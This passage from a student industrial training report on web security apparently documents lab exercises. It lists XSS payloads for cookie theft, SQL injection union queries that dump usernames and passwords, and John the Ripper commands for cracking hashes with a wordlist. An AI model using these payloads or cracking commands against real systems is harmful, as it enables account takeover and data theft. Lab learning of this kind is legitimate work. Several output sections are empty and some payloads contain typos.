HTTPS and SSL support the use of X.509 digital certificates from the server so that, if necessary, a user can
authenticate the sender. Unless a different port is specified, HTTPS uses port 443 instead of HTTP port 80 in
its interactions with the lower layer, TCP/IP.
Suppose you visit a Web site to view their online catalog. When you're ready to order, you will be given a
Web page order form with a Uniform Resource Locator (URL) that starts with https://. When you click
"Send," to send the page back to the catalog retailer, your browser's HTTPS layer will encrypt it. The
acknowledgement you receive from the server will also travel in encrypted form, arrive with an https://
URL, and be decrypted for you by your browser's HTTPS sublayer.
The effectiveness of HTTPS can be limited by poor implementation of browser or server software or a lack
of support for some algorithms. Furthermore, although HTTPS secures data as it travels between the server
and the client, once the data is decrypted at its destination, it is only as secure as the host computer.
According to security expert Gene Spafford, that level of security is analogous to "using an armored truck to
transport rolls of pennies between someone on a park bench and someone doing business from a cardboard
box."
MIST-DECE 119
INDUSTRIAL TRAINING REPORT
MIST-DECE 120
INDUSTRIAL TRAINING REPORT
MIST-DECE 121
INDUSTRIAL TRAINING REPORT
MIST-DECE 122
INDUSTRIAL TRAINING REPORT
MIST-DECE 123
INDUSTRIAL TRAINING REPORT
MIST-DECE 124
INDUSTRIAL TRAINING REPORT
Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript
to users. When the malicious code executes inside a victim's browser, the attacker can fully
compromise their interaction with the application.
What are the types of XSS?
1. Reflected xss
2. Stored xss
3. Dom xss
Reflected cross-site scripting :
Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data
in an HTTP request and includes that data within the immediate response in an unsafe way.
Here is a simple example of a reflected XSS vulnerability:
https://insecure-website.com/status?message=All+is+well.
<p>Status: All is well.</p>
The application doesn't perform any other processing of the data, so an attacker can easily construct an
attack like this:
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
<p>Status: <script>/* Bad stuff here... */</script></p>
If the user visits the URL constructed by the attacker, then the attacker's script executes in the user's
browser, in the context of that user's session with the application. At that point, the script can carry out
any action, and retrieve any data, to which the user has access.
Examples:
s.no Input Output
1 Low
:<script>alert(“1”)</script>
Medium:<scr<script>ipt>aler
t(“1”) </script>
MIST-DECE 125
INDUSTRIAL TRAINING REPORT
3 Low:<a
herf=https://www.google.co
m>HI</a>
Medium:<a
herf=https://www.google.co
m>hi</a>
High:><a
herf=https://www.google.co
m>hi</a>
4 Low:<script>alert(document.
cookie)</script>
Medium:<sCript>
alert(document.cookie)</sCri
pt>
High:<img src=x
onMouseOver=
alert(document.cookie)>
MIST-DECE 126
INDUSTRIAL TRAINING REPORT
6 Low:<ol><li>12</li><li>2</
li></ol>
Medium:<ol><li>12</li><li>
2</li></ol>
High:
<ol><li>12</li><li>2</li></
ol>
6 low:<img src=x
onerror="alert(String.fromC
harCode(88,83,83))"></img
>
medium:<img src=x
onerror="alert(String.fromC
harCode(88,83,83))"></img
>
high:<img src=x
onerror="alert(String.fromC
harCode(88,83,83))"></img
>
MIST-DECE 127
INDUSTRIAL TRAINING REPORT
The application doesn't perform any other processing of the data, so an attacker can easily send a
message that attacks other users:
<p><script>/* Bad stuff here... */</script></p>
Examples:
s Input output
n
o
Low:
1 name:
hi
message:<script>alert(
“hi”)</script>
medium:
name: hi
message:<sc<script>ri
pt>alert(“hi”)</script>
Low:
2
name: <img src=1
onclick=”java
script:alert(1)”></img
> Message:hi
medium:
name: <img src=1
onclick=”java
script:alert(1)”></img
> Message:hi
high:
name: <img src=1
onclick=”java
script:alert(1)”></img
> Message:hi
MIST-DECE 128
INDUSTRIAL TRAINING REPORT
Low:
3
name: :<a
herf=https://www.goo
gle.com>HI</a>
Message:hi
medium:
name: :<a
herf=https://www.goo
gle.com>HI</a>
Message:hi
high:
name::<a
herf=https://www.goo
gle.com>HI</a>
Message:hi
Low:
4
name:
:<script>alert(docume
nt.cookie)</script>
Message:hi
medium:
name:<sCript>alert(do
cument.cookie)</scrip
t> Message:hi
high:
name:<img src=x
onmouseover=”alert(d
ocument.cookie)”</im
g> Message:hi
MIST-DECE 129
INDUSTRIAL TRAINING REPORT
Low:
5
name: :<iframe onload
iframe onload =
”javascript:javascript:
alert(1)”></iframe>
Message:hi
medium:
name:<iframe onload
iframe onload =
”javascript:javascript:
alert(1)”></iframe>
Message:hi
high:
name:<iframe onload
iframe onload =
”javascript:javascript:
alert(1)”></iframe>
Message:hi
8. SQL INJECTION :
MIST-DECE 130
INDUSTRIAL TRAINING REPORT
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that
an application makes to its database. It generally allows an attacker to view data that they are not
normally able top retrieve. This might include data belonging to other users , or any other data that the
application itself is able to access. In many cases an attacker can modify or delete this applications
content or behavior.
In some situations, an attacker can escalate an sql injection attack to compromise the underlying server
or other back-end infrastructure, or perform a denial-of-service attack.
Impact of sql injection:
A successful SQL injection attack can result in unauthorized access to sensitive data, such as
passwords, credits card details, or personal user information. Many high-profile data breaches in recent
years have been the result of SQL injection attacks, leading to reputational damage and regulatory
fines. In some cases, an attacker can obtain a persistent backdoor Into an organizations systems leading
to an long-term compromise that can go unnoticed for an extended period.
SQL INJECTION EXAMPLES :
There are a wide variety of SQL injection vulnerabilities, attack, and techniques, which arise in
different situations. Some common SQL injection examples are:
RETRIEVING HIDDEN DATA , when you can modify an SQL query to return additional results.
SUBVERTING APPLICATION LOGIC, when you can change a query to interfere with the
applications logic.
UNIONS ATTACKS, Where you can retrieve data from different database tables.
MIST-DECE 131
INDUSTRIAL TRAINING REPORT
OUTPUT :
INPUT :
Id = 1 union select 1,2%23
MIST-DECE 132
INDUSTRIAL TRAINING REPORT
OUTPUT :
INPUT :
Id = 1 union select table_name, 2 from information_schema.tables where table_schema =
0x64767761%23
OUTPUT :
MIST-DECE 133
INDUSTRIAL TRAINING REPORT
INPUT :
Id = 1 union select column_name, 2 from information_schema.columns where table_name =
0x7573657273%23
OUTPUT :
INPUT :
Id = 1 union select user, password from users%23
MIST-DECE 134
INDUSTRIAL TRAINING REPORT
OUTPUT :
MIST-DECE 135
INDUSTRIAL TRAINING REPORT
MIST-DECE 136
INDUSTRIAL TRAINING REPORT
MIST-DECE 137
INDUSTRIAL TRAINING REPORT
SHA1
To decrypt SHA1 encryption, we will use RockYou as wordlist and crack the password, as shown below:
john –wordlist=/usr/share/wordlists/rockyou.txt –format=raw-sha1 crack.txtSHA256
john –wordlist=/usr/share/wordlists/rockyou.txt –format=raw-sha256 crack.txt
MD5
john –format=raw-md5 hash.txt
Wait for the hash file to be decrypted. Once the file is decrypted, you will see the password.
To see all formats supported by john type the following command.
john –list=formats
Frankly, the hash suite is a better alternative. You can also try cain and Abel for cracking hashes. But for
Linux terminal-based hacking John the ripper is the best.
4) Using custom wordlists to hack passwords
If you want to use a wordlist attack. Which takes a lot of time but does work provided the word list is
good. John, the ripper, uses a custom dictionary which contains the list of the most commonly used
passwords around the world. So unless the password is really unique and long john, the ripper can hack the
password.
MIST-DECE 138
INDUSTRIAL TRAINING REPORT
john -list=formats
MIST-DECE 139
INDUSTRIAL TRAINING REPORT
MIST-DECE 140
INDUSTRIAL TRAINING REPORT
NTLM:
LM: Found
00h:29min Found
3380/3380 100%
0/30640 0%
MIST-DECE 141
INDUSTRIAL TRAINING REPORT
Fig no.29:Password
Step 5: Try all other methods for hacking passwords
MIST-DECE 142
INDUSTRIAL TRAINING REPORT
MIST-DECE 143